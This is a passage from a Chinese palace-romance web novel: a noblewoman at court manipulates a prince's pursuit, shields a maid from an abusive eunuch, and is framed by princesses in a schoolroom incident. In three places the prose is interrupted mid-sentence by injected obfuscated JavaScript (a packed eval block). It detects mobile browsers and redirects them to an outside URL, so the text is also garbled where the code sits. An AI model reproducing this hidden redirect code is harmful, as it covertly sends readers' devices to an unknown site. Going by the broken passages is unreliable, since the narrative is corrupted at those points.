晏时锦答应了一句,跟着她前往正殿耳房,耳畔不自觉传来身后两人的说话声。 纪云瑟屈膝道: “若是王爷没有什么吩咐的话,臣女便告……” 赵檀只当她害羞,笑着打断她道: “今日上朝,正好碰见令尊纪侯爷。纪侯对姑娘的近况甚是关心,与本王聊了许久。” 纪云瑟闻言,面上却并无波澜,只淡淡“嗯”了一声。 赵檀道: “姑娘可有什么话,要本王带给纪侯爷?” 纪云瑟道: “不敢劳烦王爷,太后娘娘已允了臣女过几日可出宫回家一趟。” 赵檀热心道: “正好,本王派人送你回去。” 纪云瑟客气道: “多谢王爷,太后娘娘已为臣女安排妥当。” “臣女还要给太后温一些药油,以备娘娘醒来用,先行告退。” 说罢,欠身行了个礼便离去。 随侍的内监有些不忿,上前说道: “王爷,这女子如此不识抬举,是否要奴才……” 赵檀看着少女袅娜的背影,轻斥道: “你懂什么?欲拒还迎,犹抱琵琶半遮面,方有美人之态嘛!” “既然皇祖母歇下了,本王先去看看母妃再过来。” 晏时锦自幼习武,耳力比常人灵敏许多,但有时,却深觉这并非一件好事。 比如,刚才的男女之间的交谈清晰入耳,就让他觉得厌烦。 原来,昨日那女子与他共处一室,是在同裕王玩欲擒故纵的把戏。 晏时锦饮了一口茶,问起了太后的病情,周嬷嬷与他细细说了,见他神情有些凝重,劝慰道: “世子也不必焦心,娘娘这是沉疴痼疾,自大皇子薨逝后,她的身子就一直如此。又兼底子弱,一到春秋乍暖还寒时分,更易惹新急之症,急不得,好生养着就是。” “您在此稍候,奴婢去瞧瞧太后。” 说罢,微微叹着气离开。 晏时锦回来这些时日,已清楚太后如今的身体是日薄西山,他唯一能做的,就是多陪着她。 不多时,紫电送来了京卫司今日的一摞公文和邸报,他已经习惯自家主子日间无其他公务时,多半待在寿康宫。 晏时锦查阅了两份,问道: “事情办妥了?” 紫电道: “朱海已送往顺天府衙门,不过……” “他毕竟是裕王府的管事,听说裕王十分看重此人,昨日已经亲自找了顺天府尹。” 晏时锦沉吟片刻,道: “你去,好生盯着。” 京卫司成立不久,才刚将宫内羽林卫和京城禁卫军纳入管辖,其中的人际关系错综复杂,除了入朝多年的裕王,永安帝的几个兄弟亲王也安插了不少亲信在内。 晏时锦初上任,正想找只鸡杀了,慑一慑那些心怀不轨的猴子们,正好裕王的人送上门来。 永安帝也是有这个意思,所以才会顺势严惩朱海,以儆效尤。 若是裕王的人非要当第一个出头的椽子,他不介意奉陪。 紫电应了一声,带上门出来。 东侧偏殿的厢房内,槛窗稍稍开了一条缝,露出一双黑亮的杏眸。 纪云瑟眼见着晏时锦的侍从出了寿康门,默默算着裕王来回李妃的咸福宫的时辰,料想他快要过来时,她不再犹豫,出门往正殿方向走去。 行至耳房外,她径直打帘推开门往里走: “周嬷嬷……” 却一眼瞥见晏时锦,正端坐长桌后的圈椅上,桌上摆着笔墨和书册,他手里正拿着一本小册子,纪云瑟故作惊讶地愣了片刻,方福了福,道: “抱歉,我本想问周嬷嬷另取个小罐子,装些药油温着,并不知还有客在此。” 晏时锦合上邸报,冷眼看向她,今日,这女子又是在此同裕王玩什么猫抓老鼠的游戏? 否则为何明知他在里面,竟敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156299|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次无故闯进来。 纪云瑟并不理会他,未等他开口,便自行开始在屋子里四下找寻起来,自语道: “我明明记得,周嬷嬷那日跟我说,这间放杂物的屋子里有的呀?” 她假装看不到男子向她投来的不友善的目光,在槛窗下的一排八角斗柜里假装慢慢翻找。 不多时,廊下传来几个脚步声,紧接着就是赵檀的声音: “皇祖母醒了么?” 有一内监回道: “禀王爷,娘娘还未醒。” 赵檀思索了一瞬,道: “本王恰好无事,就在此等着皇祖母。” 内监道: “王爷请入偏殿歇息喝茶。” 赵檀问道: “不必了,本王找子睿说说话。” 纪云瑟恍若未闻,又行至晏时锦身旁的博古架开始翻找起来: “莫非,放在这里了?” 她一面说着,一面搬了个绣墩,踩在上面,往高处够,偷偷将早已藏在袖口的小瓷罐拿出来,放在架子上的最上一层格子内,随即笑道: “果然在这里呢!” 晏时锦正等着这女子取了东西快些离开,却不料她突然脚底一滑,从高处向他扑过来。 这女子离他太近,以至于他根本来不及躲开,本能地顺手揽住了她。 如抱软玉,温香满怀。 晏时锦的两手刚好托着她的后腰,纵是隔着厚厚的裘袄,却能清楚感触到她不堪一握的盈盈腰身,一股幽香浮起,一丝一缕,肆无忌惮地沁入他的鼻尖,伴随着珠翠耀目,环佩叮铃,同时映入眼帘的,是女子的一双潋滟含情目。 两颊绯红,含羞带怯。 “哎呦”一声,纪云瑟的双手顺势搂住了他的脖颈,二人四目相对,少女凝着薄雾的乌亮瞳仁映出了男子锐利的棱角,呼吸瞬间,热气交融。 “子睿……” 赵檀甫一进门,看到的便是这样一番让人浮想联翩的香艳场景,他正要识趣假装没瞧见,却忽地反应过来,那女子的衣饰为何如此眼熟? 愣神间,他眼睁睁地看着那位身姿曼妙的女子循声转头看过来,不就是…… 姿容绝艳的纪大姑娘! 纪云瑟假装吓得不知所措,整张脸埋在了冷脸男子的颈窝里,两只手搂得更紧,一副羞于见人的模样。 赵檀面色紧绷,刚要往里迈的另一条腿霎时停在半空。 他突然想起,昨日在养性斋,那间房的诡异,同样的香气,杯盏上的鲜红唇印…… 也就是说,与晏时锦在那里私会的女子,就是纪云瑟! 怪不得,这姑娘对他一直抗拒,不接他的玉笄,中途偷偷离开,原来是早就与晏时锦暗通款曲! 得出这个结论的赵檀攥紧了双拳,眸色中的阴冷一闪而过,嘴角扯出一丝笑: “你,你忙,你先忙……” 说罢,他已经落下棉帘出来,虽然心有不甘,但是如今的晏时锦,他真的惹不起! 父皇今日刚刚因朱海一事当面斥责了他,日后,需要晏时锦的地方太多,别说一个尚未得手的纪云瑟,就算看上了他府中要紧的妃妾,该舍的,他也会舍。 吱呀的关门声响起,纪云瑟暗暗松了一口气,却听得头顶传来一道带着怒意的冷冽声音: “起来!” 5. 第 5 章 见这女子赖在自己身上丝毫没有要走开的意思,晏时锦冷冷看向她,眸光中尽是排斥。 纪云瑟假装被他的冷厉吓到了,双手撑着他的胸膛起身,怯生生道: “抱歉,失礼了。” 当她发现裕王颇为忌惮晏时锦后,就生出了这个大胆的想法,彻底断了裕王的念想,如今目的已经达到,她也不愿与这傲慢的国公世子多纠缠。 所幸的是,这厮果然不喜女色。 她都离他如此近了,甚至抱紧了他,却未见这厮有任何反应。 这样也好,就当自己被一个女子抱了一回,她也不算吃亏。 纪云瑟理了理发饰和衣裳,准备出门时,正巧见周嬷嬷进来,她愣了一瞬,随即解释道: “我本想找嬷嬷要个小罐子给太后娘娘温一些药油备着,却不巧嬷嬷不在,我便自己寻了一个。” 她又侧眸看了一眼黑沉着脸的晏时锦,装作一脸歉意,欠身道: “惊扰了这位贵客,还望见谅。” 周嬷嬷察觉到二人之间的尴尬气氛,便笑道: “姑娘不认得他了么?这位是晏国公世子,说起来,姑娘幼年随纪太夫人入宫时,你们还见过呢!” 又向晏时锦道: “世子,这位是章齐侯纪大人的长女,名唤‘云瑟’,如今是曦和公主的伴读。” 纪云瑟向男子福了一福: “见过晏世子。” 晏时锦根本不信她昨日听见了自己和裕王的谈话,会不知道自己的身份,况且,昨日这女子在宴席上就无缘故地盯着他瞧了许久,今日又故意做出这些事。 他淡淡地瞥向她,想看看她还要唱哪一出戏。 纪云瑟怕他说出什么来,也不等他回应,扬了扬手里的小瓷罐,与周嬷嬷道: “嬷嬷,我去温药油了。” 周嬷嬷应了一声,向晏时锦道: “娘娘已经醒了,正在穿衣,世子爷再稍坐会儿,奴婢带您过去。” 见他的表情不太自然地看着少女出门,周嬷嬷道: “幸好有纪姑娘在此,为娘娘揉了揉穴位,娘娘才能如此舒服的睡一觉,精神好了许多。” 她的目光中流露着十足的欣赏: “纪姑娘生得好,性子也好,怨不得太后喜欢她,纪侯特地送她入宫为太后侍疾,她就一直勤谨侍奉。可惜被贤妃娘娘瞧上了,非要了她去给曦和公主做伴,一同上学念书。” 晏时锦闻言已明白了几分,他自幼在太后身边长大,对于朝堂与后宫之间的那些牵扯,以及嫔妃们争宠的弯弯绕绕十分清楚。 大致就猜到了,必是因纪筌这些年只单占着章齐侯的虚名,毫无政绩建树,唯恐保不住爵位,故而送个女儿入宫,却目的不纯,分明想凭着此女年轻貌美被圣上瞧中,但后宫之人都不是省油的灯,自然不会让纪家轻易得逞。 这女子见在宫里出头无路,先是招惹了裕王,却又得知裕王这两日被圣上斥责,恐误了前程,便打起了他的主意,可恶! 紫电过来接自家主子时,见到的就是这样一副沉厉的脸色。可太后娘娘不是都好一些,与主子说了半日的话么? 正当他觉得诧异,却忽的闻见了主子身上的香气。 嗯? 他只消稍加回忆辨别就知道,跟昨日屋子里的一模一样。 还有,他面前衣衫的褶皱亦十分诡异,要知道,他主子的外衣从来都是要熨烫得平整妥帖才上身的。难道是…… 啊? 主子他,又与那美人私会了? 所以,他心情不好,是因为与美人起了龃龉? ~ 纪云瑟揉着有些酸痛的手臂回到毓秀宫偏殿时,已近黄昏,进入房内,一片漆黑阴冷。 “丁香……” 纪云瑟唤了两声,并无人回应,只能自己点了烛火,又来烧炭盆。 夏贤妃虽面上吩咐了丁香专门过来伺候,但实则是玉拂时常以要做宫里的其他杂务为由把她叫走,多半的事情,皆是纪云瑟自己做。 她手上满是药油,需热水清洗,却发现暖壶中的水早已冰凉,无奈,她只能提着暖壶,到宫女的值房去寻丁香。 曦和公主虽单独得赐了这毓秀宫住着,但平日里除了上学,多半会去夏贤妃的长春宫用膳,到晚间就寝时方回宫,一众内监宫女随侍,故而此刻,整个宫殿一片寂静。 纪云瑟刚踏入耳房外的廊下,就听见房内有桌椅的碰撞声。 她正要开口,一阵呜咽的抽泣声却让她停下了脚步,一女子在内惊惧地低声哀求着: “不要,你不要过来……” 是丁香的声音。 然后是男子的□□: “你躲什么?让杂家好好疼疼你……” 声线尖细轻浮,是个太监无疑。 若是纪云瑟没听错的话,应该是长春宫的首领内监来顺。 想到此人,纪云瑟不禁蹙眉泛起一阵恶心,他仗着夏贤妃的势,连宫里的一些低阶嫔妃都不放在眼里,嚣张跋扈,对她这个落魄贵女更加没什么好脸色。 但她却没想到他竟敢做出这等无耻行径。 屋内丁香的哀求声愈发惨烈,纪云瑟犹豫一瞬后,终是重重地走了几步,敲响了门: “丁香,丁香!你到哪里去了?” “整日的不见人影,也不怕我禀明贤妃娘娘,治你一个懒怠之罪!” 她故意加大了音量怒声喊起来。 片刻后,丁香一面整理发髻衣裳一面夺门而出,纪云瑟看了她一眼,没好气地高声斥道: “这才几时?你竟去偷懒睡觉了?” 见她泪痕满面,脸色发白,浑身颤抖着说不出话来,纪云瑟向她使了个眼色,将暖壶放在她手上,故作不耐烦道: “还不去烧些热水过来!” “是,姑娘,奴婢这就去。” 丁香如逢大赦般抹着泪应声,飞快地跑开。 纪云瑟亦不敢久留,立马回房等着丁香,片刻后,只见她惊魂未定地走了进来,衣裳虽已穿好,但发髻依旧有些凌乱。 纪云瑟接过她手里的暖壶,随即关紧了门。 丁香紧绷着的神经骤然松下来,只觉全身无力,瘫软在地。 纪云瑟叹了口气,将她扶起,让她坐在一旁的绣墩上,给她倒了一碗热茶,说道: “好了,没事了。” 丁香愣了半日,才颤抖着端起茶碗,一饮而尽,终于大哭了起来。 纪云瑟将自己的绢子递给她,静静地看着她哭。 片刻后,丁香擦干了眼泪,跪地向纪云瑟行了一个叩拜大礼: “奴婢多谢姑娘大恩!” 她没想到,这位在毓秀宫并未得到善待的侯府小姐,会在关键时候对自己出手相救。 纪云瑟能看出她其实是个实心肠之人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156300|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日常待自己算得上尽心尽责,不似别的宫人,惯会拜高踩低,所以,决定出手帮她。 更重要的是,她如今在这狼环虎伺的宫中独自一人,是举步维艰。太后虽有心照应,但毕竟年迈无力约束后宫,身子又不好,亦不能一直照拂她,而且,她更不想给太后添麻烦,让她烦心又添了症候。 在这皇宫里,很多事只能她独自解决,她需要有人帮她。 纪云瑟倒了一杯茶自饮,悠悠说道: “不必客气,但是,你可曾想过,他今日没有得手,若有下次,你该怎么办?” 丁香顿了顿,眼眸中尽是恐慌,又磕头哭道: “请姑娘救救奴婢!” 纪云瑟这才将她扶起,定然道: “好,我帮你,你先将来顺所有的事都告诉我。” 丁香使劲点点头,娓娓道来。 原来,来顺在宫里肆意侮辱低阶宫女已是常事。他仗着是夏贤妃的长春宫首领内监,不仅祸及贤妃母女的两处宫里,其他宫局略有些平头正脸的宫女,亦有难逃其魔爪的。 前段时日,来顺还在纠缠毓秀宫的一个洒扫宫女,将其折磨得发了癔症后,便贬去了浣衣局,接着,便看上了素来本分老实,但长相颇为清秀动人的丁香。 “奴婢亲眼所见,小菊被他逼疯后,被送去浣衣局,前几日,就已经,已经死了……” 纪云瑟闻言,不禁攥紧了双拳,她从未想过,天子所居的皇宫,竟是这样的乌烟瘴气。 她虽不后悔揽下这桩棘手之事,但也清楚,以她的身份,要将来顺绳之于法恐怕十分困难。 她又不能直接去找太后,因为这奴才毕竟是夏贤妃身边最得力的一条狗,若是一击不中,恐会被他反咬一口。 此事急不得,必须想个十全之策,一招致命,让他没有反击的余地。 思及此,纪云瑟向丁香道: “若是你信我的话,就照我说的去做。我料想,今日,他被我撞破,最近应该不会再明目张胆地来找你。这段时日,你先想办法躲着他。” 丁香坚定地点点头: “奴婢听姑娘的!” “奴婢这条命,以后就是姑娘给的!” 纪云瑟摆摆手: “别说这个,我帮你,也是有我的私心。” 她不是那等无私奉献的大善人,也不想骗人。 丁香一愣,随即道: “奴婢知道,日后,奴婢必定尽心服侍姑娘!” 纪云瑟道: “那倒不必,你就如从前一样,贤妃和公主吩咐你做什么就做什么,千万别刻意对我好。” 丁香略思索一瞬,道: “奴婢明白,奴婢什么都听姑娘的!” 纪云瑟转动着手中的杯盏,沉吟片刻,问道: “若是,宫里出了人命官司,比如,死伤个内监,会如何?” 丁香一惊,但很快淡定下来,抿唇道: “那,要看此人的身份,若是普通小内监,不过是司礼监过问一回,但若是有品阶的,尤其是各宫首领,恐怕,要知会羽林卫细查。” “羽林卫?” 丁香点头道: “不错,羽林卫掌管皇宫防卫,最擅长查案,素来明察秋毫,从不随意应付。何况,最近刚换了新的统领大人,又归了什么京卫司管辖,更是查案严苛。” 如此看来,此事还需小心筹谋。 6. 第 6 章 春暖花开时节已至,宫内的学堂正式开课。 除了宫里的几位皇子和公主,一些适龄的王公世子和郡主小姐也被允许入宫上学,故而选了位于皇宫西北角的重华殿做学堂,因其靠近御花园顺贞门,方便出入。 重华殿正殿不算大,当中以垂纱为幕,将男女学生坐席隔开。 临近上课,赵沐昭打着哈欠姗姗来迟,众人见她过来,皆起身行了个礼。 赵沐昭径直坐在了最后一排,纪云瑟提着书笈跟在其后,将她的笔墨书册摆好,正准备坐在她旁边,却被一人抢先坐下。 正是晋元长公主之女,郡主陆嘉蕙。 赵沐昭斜睨了一眼纪云瑟: “不懂规矩,这里是你坐的?” 她指向了第一排,道: “那儿不是还空着么?” 那里离授课的夫子最近,随便一个小动作就会被夫子察觉,夫子说得兴起时,唾沫星子都能溅到脸上。 纪云瑟知道这必不是什么好去处,却也无奈,只能抱着书笈走了过去。 身旁已坐了一个人,见她过来,微笑向她点了点头。 纪云瑟认识她,是孙太妃的侄孙女孙雪溶,曾经随孙太妃来寿康宫给太后请安,两人虽不熟络,但孙雪溶性情温和,主动与她寒暄了几句。 “纪姑娘,你别放在心上,其实,我倒觉着坐这里挺好,就当是逼着自己学些东西。” “因为若不听课,夫子出的考题做不来,还得挨罚。” 纪云瑟完全是被迫来做公主伴读,她自小就不甚喜读书,更不想在宫里上什么学,纯粹是赶鸭子上架,如今听说还要考试,更是一阵头疼。 赵沐昭正是知晓她根本不是读书的料,才故意让她坐在最显眼的位置,好在众人面前出丑,传到永安帝耳中,她一个不学无术诗礼不通的狐媚子,如何能得圣心? 不多时,夫子步入殿中,众人起身行礼。 赵沐昭一脸得意之笑,今日是袁夫子的算学课,这门课素来以难度大著称,就连上了好些年学的男子们都学着吃力,更不要说只是来学堂凑数的女子了。 正好,让那位侯府小姐好好出出“风头”。 袁夫子滔滔不绝地讲了几道题,赵沐昭与一旁的陆嘉蕙交换了一个眼色,然后踢了踢坐在前方的县主赵芷宁。 赵芷宁会意,待袁夫子讲课告一段落后,她起身恭敬说道: “夫子,学生有一个小小的提议。” 袁夫子扶了扶叆叇,抬手道: “你说。” 赵芷宁道: “夫子刚才所讲‘均输’这一章,学生还是有些一知半解,不如夫子出几道题,让咱们当场做一做吧!” 袁夫子捋了捋羊角须,道: “原本为师是想着你们身为女子,日后当用不上这些,所以没有讲得太细,不做太高的要求,既是你等有此心,为师心感甚慰,也好,就做几道题吧!” 他翻开了书册,道: “就做这道‘九章算术’中,‘输卒’一题吧。” “今有均输卒:甲县一千二百人,薄塞;……戊县一千七百五十人,行道五日。凡五县,赋输卒一月一千二百人。欲以远近、户率,多少衰出之。问县各几何?” 赵沐昭素来不肯学习,听这题目已经目瞪口呆,一头雾水,料想纪云瑟必定与她一样。 她探头往前看了看,果不其然,那位侯府小姐连笔都不曾动一下。 不多时,赵芷宁洋洋洒洒写了一整张纸,放下笔,面上带笑,一副胸有成竹的模样,袁夫子看了一眼,捋着须尾赞赏地点点头,道: “县主此解十分标准,不如,请县主为大家讲解一番,如何?” 赵芷宁起身,一眼看到了纪云瑟面前空白的纸张,向袁夫子客气道: “这里能才众多,学生不敢倨傲。听说,纪大小姐就是因为才貌双全,被贤妃娘娘选为公主伴读,不如,请她为大家讲解,不知夫子意下如何?” 纪云瑟闻言回过头,对上她挑衅的目光。 这是做什么,连上个学也不放过她? 陆嘉蕙和另外几位郡主亦异口同声,均表示要见识见识这位新任公主伴读的才情。 袁夫子看着纪云瑟面前不能再干净的书册,皱着眉头,又素来知那几位高门贵女不好惹,只得勉强道: “那,就请纪大小姐先说吧!” 毕竟,反面榜样也是榜样。 纪云瑟起身,回头将赵沐昭等人的得意目光尽收眼底,略思了一瞬,不慌不忙道: “夫子,学生已算出,甲县二百二十九人,乙县……戊县二百八十六人。” 赵沐昭和陆嘉蕙正想拍手嘲笑,却见赵芷宁已经变了脸色,一副不可置信的模样。 袁夫子嘴角的笑纹慢慢展开,待她一说完,不觉赞道: “不错,分毫不差!” “不可能!” 赵芷宁忍不住起身,指着纪云瑟道, “她的笔都没动过,定是抄袭他人的答案!” 纪云瑟不理会她,向袁夫子恭恭敬敬道: “学生心算而已,并未看他人的解答,请夫子明察。” 她不得不庆幸,第一堂课居然是她唯一擅长的算术。 她的母亲出身商贾,虽去世的早,但留给她的奶母和教引嬷嬷自从她识字起,便教她算账,今日夫子所授的“均输”,便是如何合理摊派赋税,用衰分术解决赋役的问题,她许多年前就已经学习掌握。 关于什么四书五经和吟诗作对,她或许弄不明白,但论各类算账,恐怕这里无人能及她。 孙雪溶鼓起勇气道: “夫子,学生以为,要判断纪姑娘是否抄袭十分简单,让她讲一讲解题思路即可。” 她自然相信纪云瑟是自己算的,毕竟她自己虽写满了一张纸,却是驴头不对马嘴,她们两个坐在第一排,还能看得了谁的? 袁夫子道: “不错,纪大小姐,你详细说一说。” 纪云瑟遂将解题过程描述了一番,袁夫子看着纪云瑟目光中的欣赏更多了几分,因为算学课不比五经和策论,除了赵芷宁有凡事不服输的劲头会认真听一听,其他人不管男女,觉着没什么大用,都不愿费心学。 没想到这个新来的公主伴读,倒颇为精通。 赵沐昭愤闷不已,原本想让纪云瑟出糗,没想到反而让她得了脸。 她咽不下这口气! 好不容易熬到散学,纪云瑟向孙雪溶道了一声谢,又道: “孙姑娘,日后,你不用这样帮我。” 孙雪溶有些不解,她在宫里跟着孙太妃一直谨小慎微,除了自个儿宫里的事,其他的一概不知。但看到曦和公主和身边几位的不善目光后,方明白她话中意思,有些诧异地回过头,悄声问道: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156301|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你得罪了曦和公主么?” 纪云瑟知晓她是因祖父早逝,父亲和母亲也在前几年接连去世,独留性子憨厚老实的她孤身一人,孙太妃念着她在家中时常被叔婶欺负,便以陪伴为名将她接进了宫里照顾。 想着她在宫里待着也有些时日了,却没想到竟如此单纯不问世事,倒不好与她说什么,便道: “你以后别管我的事,怕连累你。” 纪云瑟收拾好了书册,提着书笈先行至殿门口,等赵沐昭一同回宫。 孙雪溶倒不在意,收拾好笔墨,行至她身边甜甜一笑: “纪姑娘,我先走啦!” 纪云瑟还未开口,就见她一转身,撞上了疾步走过来的陆嘉蕙。 就这样轻轻一撞,陆嘉蕙竟然以一种十分夸张的姿势往后倒,纪云瑟正关注着孙雪溶,想去扶住差点摔倒的她,突然瞥见陆嘉蕙的婢女就在身后端着一大碗茶水,佯装被自家郡主碰到,整个茶碗向纪云瑟甩过来。 眼看那碗冒着热气的滚烫茶水就要泼出来,纪云瑟拉着孙雪溶侧身一让,那茶碗便摔向了迎面走来的赵沐昭。 纪云瑟不是娇生惯养长大的弱女子,从前在家伺候的丫鬟仆妇虽多,但她照顾病弱的祖母,许多事都是亲历亲为,手脚素来敏捷有力,她一番动作下来,让所有人措手不及。 原本迫不及待要过来瞧热闹的赵沐昭本能地伸手一挡,那茶水尽数泼在了她的手背上,热水顺着手腕流入衣袖内,瞬间到了手臂上。 天气寒冷,众贵女都是身着裘袄,热气不得散发,猝不及防的热辣刺痛让这位原本就娇滴滴的公主疼得尖叫大哭。 纪云瑟大脑飞快运转,立刻就明白了是怎么回事,都是冲她来的! 果然,赵芷宁上前扶着赵沐昭,指着她一脸怒意: “纪云瑟,你故意害公主受伤!” “来人,快去通知贤妃娘娘!” 纪云瑟攥紧了拳头,清楚此事分明是曦和公主的授意,害她不成,反害了己,但若是闹到夏贤妃处,众口一词,最终吃亏的还是她! 她不能背负一个伤害公主的重罪! 正束手无策时,忽的瞥见有几名羽林卫闻声向这边走来,纪云瑟瞬间沉下脸,气冲冲地上前,一个巴掌扇在了陆嘉蕙的婢女脸上: “放肆!” “你竟敢暗害公主!” 想到她好歹是侯府长女,曦和公主欺负她就算了,连这帮贵女也根本不把她放在眼里,她知道这些人的行为处事,皆是拜高踩低,欺软怕硬,若是她逆来顺受了这一次,日后还不知有多少绊子等着她。 既如此,不如先发制人,把事情闹大到羽林卫的手里! 那婢女本就被曦和公主的惨状吓得不知所措,如今又骤然得了一个耳光,看似打过来的手劲不重,但落在她脸颊的一瞬间,纪云瑟的掌心突然加大了力度。 婢女一下没有站稳,倒在陆嘉蕙身上,陆嘉蕙正立在檐廊的台阶边,被她一撞,脚下不稳,滑落下去,摔倒在地。 一声痛呼: “啊!我的脚!” 尚未离殿的众人皆围了上去,直到几名身着银甲的羽林卫过来,人群自动让出了一条道。 正当纪云瑟庆幸此事有羽林卫插手,对她有益时,却忽地听见一个熟悉的沉厉声音: “什么事?” 余光一瞥,正是前几日被她利用了一番的晏时锦! 7. 第 7 章 晏时锦去寿康宫看了一回太后,正准备抄道去养心阁面圣,却不料突遇这番热闹。 陆嘉蕙被婢女扶着,却疼得无法起身,摸着动弹不得的一条腿,抽抽噎噎道: “子睿哥哥,你可要为嘉蕙作主呀!” 她未明说谁是罪魁祸首,目光却直瞟纪云瑟。 一旁的赵沐昭也是哭得不成样子,虽有宫人早已给她的的手臂冲了些凉水,上了一道烫伤药,但她哪里受过这样的委屈,愤恨地盯着纪云瑟。 她们和晏时锦是表兄妹关系,素知这位表兄清冷寡淡,除了永安帝和太后,谁的面子都不放在眼里,故而不敢太过夸张造次,稍稍收敛了一些。 总之,只要她们众口一词,纪云瑟不管落入谁的手里,都没有好果子吃! 男子身着一套修身的飞鱼服,愈发显得虎背蜂腰,丰神俊逸。 赵芷宁侧眸打量了他片刻,收起刚才的咄咄逼人之色,转头看着纪云瑟,放柔声量道: “纪姑娘,不知曦和公主和嘉蕙郡主如何得罪你了?竟害得她们都受了伤。” “哎呀,郡主的脚,不会骨折了吧?” 还有两女子也会意在一旁帮着腔,几人叽叽喳喳的说了一通后,晏时锦的目光落在了纪云瑟身上。 又是她! 是非黑白暂且不论,但此刻,其他女子或吓得慌乱或惊得脸色发白,只有她,那张看似可怜无辜的小脸上,一双透着十足心机城府的眼睛还在滴溜乱转。 以她素来行事的大胆无畏,他不信此事与她无关。 纪云瑟察觉到了这厮的面色不善,但这事跟他有何关系? 总不至于他一个国公世子,手还能伸到羽林卫,管起宫里的矛盾纠纷来? 还是因为她们一口一个“子睿哥哥”,唤得他要越权替这群“妹妹”们做主? 呵,还真是个称职的兄长! 纪云瑟微微福了一福: “见过晏世子。” “世子岂可听信一面之词?况且,既有羽林卫在此,世子您应该不方便过问吧?” 说到后面,她也有些底气不足,这厮到底是个官,而且连裕王都要惧怕他三分,真要插手,恐怕她也只能打碎牙往肚子咽。 紫电早就认出了纪云瑟,是最近时常与他主子私会的雪白美人。 见少女的嗓音说到后面,愈发低软轻哝,倒像是受了委屈撒娇一般,心道莫不是前几日二人起的龃龉还没好? 自家主子也是,都不告诉姑娘自己的官职。 他上前小心瞧了一眼晏时锦的脸色,故意开口请示道: “指挥使大人,您看此事……” 纪云瑟眉心一跳: “指挥使?” 孙雪溶刚才被吓得一直躲在纪云瑟背后,此刻见她一脸震惊,忙附在她耳畔悄声说道: “如今,羽林卫已归京卫司管辖,晏世子就是京卫司的指挥使……” 纪云瑟愣了愣,不会吧? 这么倒霉? 这厮竟然是羽林卫的顶头上司? 完了完了!他跟公主、郡主什么县主本就是一家子亲戚,必会向着她们。 更何况,自己还利用得罪了他。 晏时锦居高临下地扫视了一圈这一群心思各异的女子,蹙了蹙眉,吩咐紫电道: “你留下,协助查清此事。” 说罢,转身阔步离去。 永安帝有诏,他没有闲工夫管这些女子间的琐事。 紫电明白,一边是亲戚,一边是相好,主子不好偏颇了谁,只能将这烫手的山芋丢给他。 太医提着药箱匆匆而至,几个力气大的嬷嬷抬了春凳过来将陆嘉蕙移去重华殿偏殿看伤。 玉拂已回宫取了猩猩毡斗篷过来,和玉晓一同扶着赵沐昭回宫更衣。 紫电留下了闯祸的陆家婢女,拾起地上的一片碎瓷,开始例行询问: “碗中热水,是谁泼的?” 纪云瑟指向婢女: “是她!” 紫电又看向刚才陆嘉蕙摔倒之处: “嘉蕙郡主,是谁撞的?” 纪云瑟道: “也是她!” 赵芷宁随即道: “话是如此,但若不是纪姑娘打人,她怎会撞得郡主摔倒在地?” 其他几个女子附和道: “不错,我们都看见了,是她用力打人,所以害了郡主。” 纪云瑟一脸委屈,道: “我是见公主被她烫伤了,气不过,才忍不住小小地教训了她一下。” 又指着婢女的脸颊,道: “我若是真用力,她的脸上为何并未红肿?” “分明是她故意撞倒自家主子,意图嫁祸与我。” 众人细看过去,那婢女的脸上的确只有浅浅的一道红印,且即将消逝,确实不像是用力打的。 婢女见众人已怀疑她,捂脸指着纪云瑟哭诉道: “不对!是她,她很用力地打了奴婢,奴婢站立不稳,才撞了郡主!” “你这奴才休得胡说!” 人群中站出一个男子,颇为义愤填膺地说道: “纪姑娘一看就是柔弱之辈,你脸上也未留掌印,还敢诬蔑?” 紫电上前行了个礼,客气问道: “敢问世子,是否亲眼见了整个事情的过程?” 这人身着茄色狐狸皮袄,罩海龙小鹰膀褂子束同色腰封,正是涟亲王世子赵峥。 赵峥不假思索道: “自然都看见了,这胆大的奴才向纪姑娘泼水,却误伤了公主,纪姑娘为公主不平,一时没忍住出手教训她,轻轻打了她一巴掌而已,她便顺势撞到了嘉蕙。” 纪云瑟与他不算熟悉,没想到此人竟为她开脱,向他投来了感激的目光。 赵峥今早就被初次上学的纪云瑟惊艳到,此刻被美人一看,顿时心花怒放,向身边的两个男子使了个眼色,两人纷纷附和: “世子所言不错,我们都看见了。” “都是这贱婢惹的祸,不可诬赖他人。” “世子!” 赵芷宁怒气冲冲地叫住了赵峥。 赵峥斜眼看向她,轻嗤一声: “怎么,不让人说真话?” 